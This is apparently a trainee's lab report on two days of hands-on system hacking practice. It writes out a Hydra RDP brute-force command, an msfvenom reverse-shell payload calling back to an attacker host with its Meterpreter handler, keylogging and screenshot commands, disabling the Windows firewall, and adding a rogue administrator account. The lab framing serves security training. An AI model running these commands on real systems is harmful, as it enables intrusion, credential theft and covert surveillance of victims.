

Training Day 13 & 14 Report

Date: 30–01 July 2025

Module Name: System Hacking – Hands-On Practice Sessions (Windows & Kali)

Mode: 100% Practical (Lab-based)

Main Focus of the Sessions

During these two intensive lab days, we focused on **real-world practical hacking techniques** using both **Windows and Kali Linux** machines. Activities included **password cracking, remote control setup, information gathering, and live system monitoring**. We used a variety of tools like **John the Ripper, Hydra, RainbowCrack, Anydesk, Metasploit**, and Windows administrative commands.

Activities Performed & Tools Used

Basic Connectivity & Recon Commands (Windows & Kali)

Command	Purpose
<code>ping google.com</code>	Checked internet connectivity from Windows terminal
<code>ipconfig / ifconfig</code>	Displayed IP configuration (Windows/Kali)
<code>netstat -an</code>	Listed active connections
Kali: Opened browser to access domains, validate network setup	
Used Anydesk	Remote access setup between host and VM

Password Cracking Tools

1. John the Ripper

- Used to crack NTLM hashes extracted earlier
- Tested with default and custom wordlists

2. RainbowCrack

- Attempted rainbow table-based cracking (requires large precomputed tables)
- Useful for older LM hash formats

3. Hydra

- Tool for brute-force attacks on login forms and services
- Command used to brute-force SSH or RDP login:

```
bash
Copy code
hydra -l admin -P rockyou.txt rdp://192.168.0.100
```

Metasploit Framework (msfconsole / msfvenom)

Payload Creation with msfvenom:

```
bash
Copy code
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Kali_IP] LPORT=4444 -f
exe > shell.exe
```

Payload Execution:

- Transferred `shell.exe` to Windows VM
- Used listener in msfconsole:

```
bash
Copy code
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [Kali_IP]
set LPORT 4444
run
```

☐ Meterpreter Commands Used

Command	Description
<code>sysinfo</code>	Displays system information
<code>keyscan_start</code> → <code>keyscan_dump</code>	Captures keystrokes silently
<code>run vnc</code>	Launches VNC session on target
<code>shell</code>	Drops into Windows command shell
<code>upload/download</code>	Transfers files
<code>getuid</code>	Shows current user
<code>getprivs</code>	Lists available privileges
<code>screenshot</code>	Takes a screenshot of victim desktop

Windows Commands Practiced

Command	Function
<code>firewall.cpl</code>	Opens Windows Firewall settings (run via shell)
<code>netsh advfirewall set allprofiles state off</code>	Turns off firewall
<code>tasklist</code>	Lists all running processes
<code>net user</code>	Lists users
<code>net user hacker /add</code>	Creates new user
<code>net localgroup administrators hacker /add</code>	Grants admin rights to new user

Key Takeaways

- Cracking hashes requires **privileged access and patience**
- Tools like **Hydra and John** are effective but require correct protocol targeting
- `msfvenom` and `meterpreter` provide powerful post-exploitation control
- Keystroke logging and remote desktop access can be stealthily executed
- Basic Windows commands allow **privilege escalation and lateral movement**
- Disabling firewalls or creating new admin users can completely compromise a system if undetected